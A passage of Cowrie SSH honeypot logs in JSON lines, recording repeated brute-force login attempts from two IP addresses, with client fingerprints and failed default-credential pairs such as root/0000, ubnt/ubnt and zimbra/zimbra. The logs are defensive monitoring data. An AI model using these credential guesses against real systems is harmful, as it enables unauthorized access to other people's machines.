{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:46.176629Z","src_ip":"5.196.136.131","session":"fdb89de0e453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:46.417036Z","src_ip":"5.196.136.131","session":"fdb89de0e453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:47.499158Z","src_ip":"5.196.136.131","session":"fdb89de0e453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":13824,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa38f34cd337","protocol":"ssh","message":"New connection: 5.196.136.131:13824 (10.17.0.5:22) [session: fa38f34cd337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:50.491486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:50.495280Z","src_ip":"5.196.136.131","session":"fa38f34cd337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:50.611962Z","src_ip":"5.196.136.131","session":"fa38f34cd337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:50.845953Z","src_ip":"5.196.136.131","session":"fa38f34cd337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:51.927891Z","src_ip":"5.196.136.131","session":"fa38f34cd337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47111,"dst_ip":"10.17.0.5","dst_port":22,"session":"c350c1c05d35","protocol":"ssh","message":"New connection: 5.196.136.131:47111 (10.17.0.5:22) [session: c350c1c05d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:54.880979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:54.885324Z","src_ip":"5.196.136.131","session":"c350c1c05d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:54.964738Z","src_ip":"5.196.136.131","session":"c350c1c05d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:55.199431Z","src_ip":"5.196.136.131","session":"c350c1c05d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:56.279183Z","src_ip":"5.196.136.131","session":"c350c1c05d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56955,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58f310d0bcb","protocol":"ssh","message":"New connection: 5.196.136.131:56955 (10.17.0.5:22) [session: e58f310d0bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:59.247020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:59.251164Z","src_ip":"5.196.136.131","session":"e58f310d0bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:59.327845Z","src_ip":"5.196.136.131","session":"e58f310d0bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:59.558427Z","src_ip":"5.196.136.131","session":"e58f310d0bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55976,"dst_ip":"10.17.0.5","dst_port":22,"session":"87c4ab0cc9e3","protocol":"ssh","message":"New connection: 103.15.222.183:55976 (10.17.0.5:22) [session: 87c4ab0cc9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:00.188792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:00.193020Z","src_ip":"103.15.222.183","session":"87c4ab0cc9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:00.425493Z","src_ip":"103.15.222.183","session":"87c4ab0cc9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:00.636974Z","src_ip":"5.196.136.131","session":"e58f310d0bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01031995","message":"login attempt [root/01031995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:01.125298Z","src_ip":"103.15.222.183","session":"87c4ab0cc9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:02.358815Z","src_ip":"103.15.222.183","session":"87c4ab0cc9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"6580ae4914ba","protocol":"ssh","message":"New connection: 5.196.136.131:60364 (10.17.0.5:22) [session: 6580ae4914ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:03.734242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:03.737022Z","src_ip":"5.196.136.131","session":"6580ae4914ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:03.814259Z","src_ip":"5.196.136.131","session":"6580ae4914ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:04.060558Z","src_ip":"5.196.136.131","session":"6580ae4914ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:05.140418Z","src_ip":"5.196.136.131","session":"6580ae4914ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25344,"dst_ip":"10.17.0.5","dst_port":22,"session":"aca081d0cfcd","protocol":"ssh","message":"New connection: 5.196.136.131:25344 (10.17.0.5:22) [session: aca081d0cfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:08.171415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:08.179284Z","src_ip":"5.196.136.131","session":"aca081d0cfcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:08.260454Z","src_ip":"5.196.136.131","session":"aca081d0cfcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:08.518992Z","src_ip":"5.196.136.131","session":"aca081d0cfcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:09.602949Z","src_ip":"5.196.136.131","session":"aca081d0cfcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9590,"dst_ip":"10.17.0.5","dst_port":22,"session":"d962cb21e845","protocol":"ssh","message":"New connection: 5.196.136.131:9590 (10.17.0.5:22) [session: d962cb21e845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:12.522332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:12.526807Z","src_ip":"5.196.136.131","session":"d962cb21e845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:12.602543Z","src_ip":"5.196.136.131","session":"d962cb21e845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:12.831206Z","src_ip":"5.196.136.131","session":"d962cb21e845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:13.908678Z","src_ip":"5.196.136.131","session":"d962cb21e845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":34581,"dst_ip":"10.17.0.5","dst_port":22,"session":"8408435ae688","protocol":"ssh","message":"New connection: 5.196.136.131:34581 (10.17.0.5:22) [session: 8408435ae688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:16.949055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:16.955689Z","src_ip":"5.196.136.131","session":"8408435ae688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 